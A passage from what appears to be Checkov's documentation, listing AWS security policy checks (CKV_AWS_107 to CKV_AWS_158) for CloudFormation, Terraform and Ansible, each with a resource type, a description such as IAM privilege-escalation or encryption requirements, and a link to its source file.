exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 416 | CKV_AWS_107 | resource | AWS::IAM::Role | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 417 | CKV_AWS_107 | resource | AWS::IAM::User | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 418 | CKV_AWS_107 | data | aws_iam_policy_document | Ensure IAM policies does not allow credentials exposure | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py) | | 419 | CKV_AWS_108 | resource | AWS::IAM::Group | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 420 | CKV_AWS_108 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 421 | CKV_AWS_108 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 422 | CKV_AWS_108 | resource | AWS::IAM::Role | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 423 | CKV_AWS_108 | resource | AWS::IAM::User | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 424 | CKV_AWS_108 | data | aws_iam_policy_document | Ensure IAM policies does not allow data exfiltration | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMDataExfiltration.py) | | 425 | CKV_AWS_109 | resource | AWS::IAM::Group | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 426 | CKV_AWS_109 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 427 | CKV_AWS_109 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 428 | CKV_AWS_109 | resource | AWS::IAM::Role | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 429 | CKV_AWS_109 | resource | AWS::IAM::User | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 430 | CKV_AWS_109 | data | aws_iam_policy_document | Ensure IAM policies does not allow permissions management / resource exposure without constraints | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py) | | 431 | CKV_AWS_110 | resource | AWS::IAM::Group | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 432 | CKV_AWS_110 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 433 | CKV_AWS_110 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 434 | CKV_AWS_110 | resource | AWS::IAM::Role | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 435 | CKV_AWS_110 | resource | AWS::IAM::User | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 436 | CKV_AWS_110 | data | aws_iam_policy_document | Ensure IAM policies does not allow privilege escalation | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py) | | 437 | CKV_AWS_111 | resource | AWS::IAM::Group | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 438 | CKV_AWS_111 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 439 | CKV_AWS_111 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 440 | CKV_AWS_111 | resource | AWS::IAM::Role | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 441 | CKV_AWS_111 | resource | AWS::IAM::User | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 442 | CKV_AWS_111 | data | aws_iam_policy_document | Ensure IAM policies does not allow write access without constraints | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMWriteAccess.py) | | 443 | CKV_AWS_112 | resource | aws_ssm_document | Ensure Session Manager data is encrypted in transit | Terraform | [SSMSessionManagerDocumentEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentEncryption.py) | | 444 | CKV_AWS_113 | resource | aws_ssm_document | Ensure Session Manager logs are enabled and encrypted | Terraform | [SSMSessionManagerDocumentLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentLogging.py) | | 445 | CKV_AWS_114 | resource | aws_emr_cluster | Ensure that EMR clusters with Kerberos have Kerberos Realm set | Terraform | [EMRClusterKerberosAttributes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterKerberosAttributes.py) | | 446 | CKV_AWS_115 | resource | AWS::Lambda::Function | Ensure that AWS Lambda function is configured for function-level concurrent execution limit | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py) | | 447 | CKV_AWS_115 | resource | AWS::Serverless::Function | Ensure that AWS Lambda function is configured for function-level concurrent execution limit | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py) | | 448 | CKV_AWS_115 | resource | aws_lambda_function | Ensure that AWS Lambda function is configured for function-level concurrent execution limit | Terraform | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py) | | 449 | CKV_AWS_116 | resource | AWS::Lambda::Function | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py) | | 450 | CKV_AWS_116 | resource | AWS::Serverless::Function | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py) | | 451 | CKV_AWS_116 | resource | aws_lambda_function | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) | Terraform | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaDLQConfigured.py) | | 452 | CKV_AWS_117 | resource | AWS::Lambda::Function | Ensure that AWS Lambda function is configured inside a VPC | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py) | | 453 | CKV_AWS_117 | resource | AWS::Serverless::Function | Ensure that AWS Lambda function is configured inside a VPC | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py) | | 454 | CKV_AWS_117 | resource | aws_lambda_function | Ensure that AWS Lambda function is configured inside a VPC | Terraform | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaInVPC.py) | | 455 | CKV_AWS_118 | resource | AWS::RDS::DBInstance | Ensure that enhanced monitoring is enabled for Amazon RDS instances | Cloudformation | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEnhancedMonitorEnabled.py) | | 456 | CKV_AWS_118 | resource | aws_db_instance | Ensure that enhanced monitoring is enabled for Amazon RDS instances | Terraform | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py) | | 457 | CKV_AWS_118 | resource | aws_rds_cluster_instance | Ensure that enhanced monitoring is enabled for Amazon RDS instances | Terraform | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py) | | 458 | CKV_AWS_119 | resource | AWS::DynamoDB::Table | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK | Cloudformation | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamoDBTablesEncrypted.py) | | 459 | CKV_AWS_119 | resource | aws_dynamodb_table | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK | Terraform | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBTablesEncrypted.py) | | 460 | CKV_AWS_120 | resource | AWS::ApiGateway::Stage | Ensure API Gateway caching is enabled | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py) | | 461 | CKV_AWS_120 | resource | AWS::Serverless::Api | Ensure API Gateway caching is enabled | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py) | | 462 | CKV_AWS_120 | resource | aws_api_gateway_stage | Ensure API Gateway caching is enabled | Terraform | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayCacheEnable.py) | | 463 | CKV_AWS_121 | resource | aws_config_configuration_aggregator | Ensure AWS Config is enabled in all regions | Terraform | [ConfigConfgurationAggregatorAllRegions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConfigConfgurationAggregatorAllRegions.py) | | 464 | CKV_AWS_122 | resource | aws_sagemaker_notebook_instance | Ensure that direct internet access is disabled for an Amazon SageMaker Notebook Instance | Terraform | [SageMakerInternetAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SageMakerInternetAccessDisabled.py) | | 465 | CKV_AWS_123 | resource | AWS::EC2::VPCEndpointService | Ensure that VPC Endpoint Service is configured for Manual Acceptance | Cloudformation | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/VPCEndpointAcceptanceConfigured.py) | | 466 | CKV_AWS_123 | resource | aws_vpc_endpoint_service | Ensure that VPC Endpoint Service is configured for Manual Acceptance | Terraform | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/VPCEndpointAcceptanceConfigured.py) | | 467 | CKV_AWS_124 | resource | aws_cloudformation_stack | Ensure that CloudFormation stacks are sending event notifications to an SNS topic | Terraform | [CloudformationStackNotificationArns.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudformationStackNotificationArns.py) | | 468 | CKV_AWS_126 | resource | aws_instance | Ensure that detailed monitoring is enabled for EC2 instances | Terraform | [EC2DetailedMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2DetailedMonitoringEnabled.py) | | 469 | CKV_AWS_127 | resource | aws_elb | Ensure that Elastic Load Balancer(s) uses SSL certificates provided by AWS Certificate Manager | Terraform | [ELBUsesSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBUsesSSL.py) | | 470 | CKV_AWS_129 | resource | aws_db_instance | Ensure that respective logs of Amazon Relational Database Service (Amazon RDS) are enabled | Terraform | [DBInstanceLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceLogging.py) | | 471 | CKV_AWS_130 | resource | aws_subnet | Ensure VPC subnets do not assign public IP by default | Terraform | [SubnetPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SubnetPublicIP.py) | | 472 | CKV_AWS_131 | resource | AWS::ElasticLoadBalancingV2::LoadBalancer | Ensure that ALB drops HTTP headers | Cloudformation | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBDropHttpHeaders.py) | | 473 | CKV_AWS_131 | resource | aws_alb | Ensure that ALB drops HTTP headers | Terraform | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py) | | 474 | CKV_AWS_131 | resource | aws_lb | Ensure that ALB drops HTTP headers | Terraform | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py) | | 475 | CKV_AWS_133 | resource | aws_db_instance | Ensure that RDS instances has backup policy | Terraform | [DBInstanceBackupRetentionPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py) | | 476 | CKV_AWS_133 | resource | aws_rds_cluster | Ensure that RDS instances has backup policy | Terraform | [DBInstanceBackupRetentionPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py) | | 477 | CKV_AWS_134 | resource | aws_elasticache_cluster | Ensure that Amazon ElastiCache Redis clusters have automatic backup turned on | Terraform | [ElasticCacheAutomaticBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticCacheAutomaticBackup.py) | | 478 | CKV_AWS_135 | resource | [?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 479 | CKV_AWS_135 | resource | [?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 480 | CKV_AWS_135 | resource | [].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 481 | CKV_AWS_135 | resource | [].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 482 | CKV_AWS_135 | resource | [].block[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 483 | CKV_AWS_135 | resource | [].block[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 484 | CKV_AWS_135 | resource | [].block[].block[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 485 | CKV_AWS_135 | resource | [].block[].block[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 486 | CKV_AWS_135 | resource | [].tasks[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 487 | CKV_AWS_135 | resource | [].tasks[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 488 | CKV_AWS_135 | resource | [].tasks[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 489 | CKV_AWS_135 | resource | [].tasks[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 490 | CKV_AWS_135 | resource | [].tasks[].block[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 491 | CKV_AWS_135 | resource | [].tasks[].block[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 492 | CKV_AWS_135 | resource | [].tasks[].block[].block[].block[?"amazon.aws.ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 493 | CKV_AWS_135 | resource | [].tasks[].block[].block[].block[?"ec2_instance" != null][] | Ensure that EC2 is EBS optimized | Ansible | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2EBSOptimized.py) | | 494 | CKV_AWS_135 | resource | aws_instance | Ensure that EC2 is EBS optimized | Terraform | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2EBSOptimized.py) | | 495 | CKV_AWS_136 | resource | AWS::ECR::Repository | Ensure that ECR repositories are encrypted using KMS | Cloudformation | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRRepositoryEncrypted.py) | | 496 | CKV_AWS_136 | resource | aws_ecr_repository | Ensure that ECR repositories are encrypted using KMS | Terraform | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRRepositoryEncrypted.py) | | 497 | CKV_AWS_137 | resource | aws_elasticsearch_domain | Ensure that Elasticsearch is configured inside a VPC | Terraform | [ElasticsearchInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py) | | 498 | CKV_AWS_137 | resource | aws_opensearch_domain | Ensure that Elasticsearch is configured inside a VPC | Terraform | [ElasticsearchInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py) | | 499 | CKV_AWS_138 | resource | aws_elb | Ensure that ELB is cross-zone-load-balancing enabled | Terraform | [ELBCrossZoneEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBCrossZoneEnable.py) | | 500 | CKV_AWS_139 | resource | aws_rds_cluster | Ensure that RDS clusters have deletion protection enabled | Terraform | [RDSDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSDeletionProtection.py) | | 501 | CKV_AWS_140 | resource | aws_rds_global_cluster | Ensure that RDS global clusters are encrypted | Terraform | [RDSClusterEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterEncrypted.py) | | 502 | CKV_AWS_141 | resource | aws_redshift_cluster | Ensured that Redshift cluster allowing version upgrade by default | Terraform | [RedshiftClusterAllowVersionUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterAllowVersionUpgrade.py) | | 503 | CKV_AWS_142 | resource | aws_redshift_cluster | Ensure that Redshift cluster is encrypted by KMS | Terraform | [RedshiftClusterKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterKMSKey.py) | | 504 | CKV_AWS_143 | resource | aws_s3_bucket | Ensure that S3 bucket has lock configuration enabled by default | Terraform | [S3BucketObjectLock.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BucketObjectLock.py) | | 505 | CKV_AWS_144 | resource | aws_s3_bucket | Ensure that S3 bucket has cross-region replication enabled | Terraform | [S3BucketReplicationConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml) | | 506 | CKV_AWS_144 | resource | aws_s3_bucket_replication_configuration | Ensure that S3 bucket has cross-region replication enabled | Terraform | [S3BucketReplicationConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml) | | 507 | CKV_AWS_145 | resource | aws_s3_bucket | Ensure that S3 buckets are encrypted with KMS by default | Terraform | [S3KMSEncryptedByDefault.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml) | | 508 | CKV_AWS_145 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure that S3 buckets are encrypted with KMS by default | Terraform | [S3KMSEncryptedByDefault.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml) | | 509 | CKV_AWS_146 | resource | aws_db_cluster_snapshot | Ensure that RDS database cluster snapshot is encrypted | Terraform | [RDSClusterSnapshotEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterSnapshotEncrypted.py) | | 510 | CKV_AWS_147 | resource | aws_codebuild_project | Ensure that CodeBuild projects are encrypted using CMK | Terraform | [CodebuildUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildUsesCMK.py) | | 511 | CKV_AWS_148 | resource | aws_default_vpc | Ensure no default VPC is planned to be provisioned | Terraform | [VPCDefaultNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/VPCDefaultNetwork.py) | | 512 | CKV_AWS_149 | resource | AWS::SecretsManager::Secret | Ensure that Secrets Manager secret is encrypted using KMS CMK | Cloudformation | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecretManagerSecretEncrypted.py) | | 513 | CKV_AWS_149 | resource | aws_secretsmanager_secret | Ensure that Secrets Manager secret is encrypted using KMS CMK | Terraform | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecretManagerSecretEncrypted.py) | | 514 | CKV_AWS_150 | resource | aws_alb | Ensure that Load Balancer has deletion protection enabled | Terraform | [LBDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBDeletionProtection.py) | | 515 | CKV_AWS_150 | resource | aws_lb | Ensure that Load Balancer has deletion protection enabled | Terraform | [LBDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBDeletionProtection.py) | | 516 | CKV_AWS_152 | resource | aws_alb | Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled | Terraform | [LBCrossZone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBCrossZone.py) | | 517 | CKV_AWS_152 | resource | aws_lb | Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled | Terraform | [LBCrossZone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBCrossZone.py) | | 518 | CKV_AWS_153 | resource | aws_autoscaling_group | Autoscaling groups should supply tags to launch configurations | Terraform | [AutoScalingTagging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingTagging.py) | | 519 | CKV_AWS_154 | resource | AWS::Redshift::Cluster | Ensure Redshift is not deployed outside of a VPC | Cloudformation | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftInEc2ClassicMode.py) | | 520 | CKV_AWS_154 | resource | aws_redshift_cluster | Ensure Redshift is not deployed outside of a VPC | Terraform | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftInEc2ClassicMode.py) | | 521 | CKV_AWS_155 | resource | AWS::WorkSpaces::Workspace | Ensure that Workspace user volumes are encrypted | Cloudformation | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceUserVolumeEncrypted.py) | | 522 | CKV_AWS_155 | resource | aws_workspaces_workspace | Ensure that Workspace user volumes are encrypted | Terraform | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WorkspaceUserVolumeEncrypted.py) | | 523 | CKV_AWS_156 | resource | AWS::WorkSpaces::Workspace | Ensure that Workspace root volumes are encrypted | Cloudformation | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceRootVolumeEncrypted.py) | | 524 | CKV_AWS_156 | resource | aws_workspaces_workspace | Ensure that Workspace root volumes are encrypted | Terraform | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WorkspaceRootVolumeEncrypted.py) | | 525 | CKV_AWS_157 | resource | AWS::RDS::DBInstance | Ensure that RDS instances have Multi-AZ enabled | Cloudformation | [RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSMultiAZEnabled.py) | | 526 | CKV_AWS_157 | resource | aws_db_instance | Ensure that RDS instances have Multi-AZ enabled | Terraform | [RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSMultiAZEnabled.py) | | 527 | CKV_AWS_158 | resource | AWS::Logs::LogGroup | Ensure that CloudWatch Log Group is encrypted by KMS | Cloudformation | 